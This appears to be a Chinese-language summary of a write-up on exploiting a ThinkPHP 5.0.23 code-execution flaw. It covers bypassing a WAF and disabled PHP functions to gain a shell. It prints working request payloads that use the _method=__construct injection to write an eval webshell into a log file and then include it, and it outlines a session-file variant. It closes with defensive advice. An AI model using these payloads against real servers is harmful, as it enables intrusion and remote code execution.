TP5代码执行漏洞分析:绕过WAF与getshell方法

需积分: 0 1 下载量 53 浏览量 更新于2024-08-05 收藏 1.29MB PDF 举报
"记一次有趣的tp5代码执行1" 在网络安全领域,发现并利用漏洞是常态。这次分享的是关于ThinkPHP框架5.0.23版本的一个代码执行漏洞。ThinkPHP是一个广泛使用的PHP开发框架,而这个特定的漏洞,称为“tp5method代码执行”,允许攻击者通过精心构造的payload来执行任意代码,尽管存在WAF(Web Application Firewall)的防护。 首先,我们需要了解漏洞的基础信息。攻击者可以利用`captcha_method`参数进行方法注入,触发`__construct`魔术方法,并通过`method`参数指定要执行的方法。在给定的payload中,可以看到`get`方法被调用,并尝试通过`assert`函数执行代码。然而,由于`assert`函数在php7.1.7中已经不能通过`call_user_func`回调调用,攻击者需要寻找其他方式来绕过限制。 面对无回显的环境,通常需要依赖外部反馈来确认漏洞利用是否成功。在这个例子中,通过判断WAF拦截的内容,我们可以推断出目标服务器的ThinkPHP版本是5.0.23,并且系统禁用了多个高风险的PHP函数,如`passthru`, `exec`, `system`等,这增加了利用的难度。 为了突破这些限制,文章提到了两种可能的策略: 1. **写日志并包含日志文件获取Shell**:攻击者可以将恶意代码写入日志文件,然后通过包含日志文件来执行代码。例如,可以使用`call_user_func`或`think\__include_file`来包含写入恶意PHP代码的日志文件,从而实现远程命令执行。 - payload示例: ``` _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?phpeval($_POST['x'])?> ``` 或 ``` _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo(); ``` 2. **写session并包含session文件获取Shell**:另一种方法是将恶意代码写入session文件,然后通过包含session文件来执行。攻击者可以通过发送特定的POST请求来创建包含恶意代码的session,并在后续请求中利用它。 - payload示例: ``` POST/?s=captcha HTTP/1.1 Cookie: session_name=... Content-Type: application/x-www-form-urlencoded ... ``` 这里省略了具体的POST数据,因为实际payload会包含恶意PHP代码,并写入session。 在实战中,攻击者可能需要多次尝试不同的payload和方法,以适应目标系统的具体配置和防护措施。同时,防御方应该及时更新框架到最新安全版本,禁用不必要的危险函数,并启用严格的输入验证和过滤,以降低这类漏洞被利用的风险。对于开发者而言,理解这些攻击手段可以帮助他们在编写代码时避免类似的错误,确保应用的安全性。